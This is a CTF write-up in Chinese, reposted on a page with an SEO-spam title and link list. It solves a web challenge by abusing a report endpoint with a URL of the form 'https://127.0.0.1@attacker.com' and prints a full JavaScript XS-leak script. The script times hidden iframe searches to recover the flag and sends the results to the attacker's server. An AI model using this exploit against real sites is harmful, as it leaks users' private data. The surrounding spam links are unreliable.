当前位置: 首页 > wzjs >正文

郑州做网站哪里便宜推荐seo关键词优化

郑州做网站哪里便宜,推荐seo关键词优化,app运营推广策划方案,网站架构设计师待遇怎么样参考: https://0x90r00t.com/2024/09/30/3708/ 题目信息 有些事情最好还是保持低调。当然,除非你是个真正的怪胎。 注意:该网站通过HTTPS提供服务 标志格式:DCTF{}题目实现了一个类似视频网站的东西 在其提供的数据库中…

参考: https://0x90r00t.com/2024/09/30/3708/

题目信息

有些事情最好还是保持低调。当然,除非你是个真正的怪胎。
注意:该网站通过HTTPS提供服务
标志格式:DCTF{}

题目实现了一个类似视频网站的东西

在其提供的数据库中我们能看到被ban的视频,其名称为flag的值

被ban的东西只能由管理员查看

if movie.banned != False and current_user.role != 'real_freak':movies.pop(i)

此处存在我们可以控制的url

# 定义报告路由,处理 POST 请求,需要登录才能访问
@main.route('/report', methods=['POST'])
@login_required
def report():# 构建访问的 URLurl = "https://127.0.0.1" + request.form.get('movie')# 创建一个新线程,调用 visit 函数访问该 URLthread = threading.Thread(target=visit,args=(url,))# 启动线程thread.start()return 'OK'

我们可以构造类似如下的有效负载

https://127.0.0.1@attacker.com

当大文件被加载,其会产生一定的延迟,我们可以使用iframe观测其加载完成的时间

参考: https://0x90r00t.com/2024/09/30/3708/

<body></body>
<script type="text/javascript">
// 定义所有可能用于破解flag的候选字符集(注意:字符 `_` 缺失,`` 可能存在排版错误)
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';// 存储每个字符的响应时间测量结果
let timings = {};// 当前猜测的flag(初始值为占位flag,实际会通过时间分析逐步破解)
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';// 当前正在测试的字符索引(按characters顺序遍历)
let charIndex = 0;// 最大测试轮次(初始值为0,可能需要调整以增加准确性)
let maxRounds = 0;// 根据记录的响应时间对字符排序(降序,时间越长排越前)
function getSortedKeysByTiming(timings) {return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}// 向服务器发送日志(用于远程记录测试数据)
function log(message) {const xhr = new XMLHttpRequest();xhr.open("GET", "/?" + message); // 将数据通过GET参数发送xhr.send();
}/*** 测量特定字符组合的响应时间* @param {string} char - 当前测试的字符* @param {string} flag - 当前猜测的完整flag(包含已确定字符+测试字符)*/
function measureTiming(char, flag) {// 通过隐藏的iframe发起请求,测量加载时间const iframe = document.createElement('iframe');// 请求本地服务器接口,q参数携带猜测的flagiframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);document.body.appendChild(iframe);const startTime = performance.now(); // 记录精确的时间起点// 根据iframe加载结果更新计时数据iframe.onload = () => updateTiming(char, performance.now() - startTime);iframe.onerror = () => updateTiming(char, -1); // 错误时记录-1
}/*** 更新字符计时数据并继续处理* @param {string} char - 被测试的字符* @param {number} time - 测量的响应时间(毫秒)*/
function updateTiming(char, time) {// 仅保留最大时间值(假设正确字符会触发更长响应)if (!(char in timings) || time > timings[char]) {timings[char] = time;}log(`${char}: ${time}`); // 发送日志clearFrames();           // 清理iframeprocessNextChar();       // 处理下一个字符
}// 清除所有iframe防止内存泄漏
function clearFrames() {document.body.innerHTML = ''; // 清空body内所有内容
}/*** 主逻辑:按顺序测试每个字符,完成一轮后分析结果*/
function processNextChar() {// 遍历所有候选字符if (charIndex < characters.length) {const currentChar = characters[charIndex];// 测试当前猜测flag+当前字符的组合(例如:"DCTF{a")measureTiming(currentChar, currentFlag + currentChar);charIndex++;} else {// 一轮完成,按响应时间排序字符const sortedKeys = getSortedKeysByTiming(timings);log('fini ' + sortedKeys.join(',')); // 上报结果// 如果还有剩余轮次,重置索引继续测试(可能需要多轮验证)if (maxRounds-- > 0) {charIndex = 0;processNextChar();}}
}// 启动时间攻击
processNextChar();
</script>
http://www.dtcms.com/wzjs/378359.html

相关文章:

  • 建站模板网站设计做网站公司
  • 京东网站建设优化推广
  • 郴州文明网网站seo优化的主要内容
  • 北京做网站找哪家好内容营销是什么意思
  • 外贸网站如何seo推广谷歌怎么投放广告
  • wordpress改底部代码合肥seo排名优化
  • 淘宝客有必须做网站吗网络口碑推广公司
  • 江西建设职业技能教育咨询网站玉溪seo
  • 平谷区住房和城乡建设委员会网站seo计费系统
  • 上海工商网站官网人工在线客服系统
  • 自己学习做网站6拓客公司联系方式
  • 企业建立自己的网站补肾壮阳吃什么药效果好
  • 炫酷网站源码下载希爱力的功效及副作用
  • 网站建设属于什么职位宁波seo网络推广代理公司
  • 石家庄网站建设电话开封seo推广
  • 做网站运营有前景吗轻松seo优化排名 快排
  • 梧州做网站北京网站搭建哪家好
  • 完善网站建设通知创建网站花钱吗
  • 外贸和网站制作广州今日刚刚发生的新闻
  • 网站建设简单合同模板seo石家庄
  • 桂林北站客服咨询电话济南seo关键词排名工具
  • 泰州网站制作建设爱站网关键词工具
  • 专业网站建设定制公司百度收录入口
  • 网络型网站分为咸阳网站建设公司
  • 关于做真实的自己视频网站网络营销推广方案步骤
  • 做二手网站赚钱不杭州免费网站制作
  • 网页设计实训报告实训内容seo关键词首页排名代发
  • 住房和城乡建设部网站安全月seo托管公司
  • 网站翻书效果百度新闻排行榜
  • 湛江seo网站推广网站点击量统计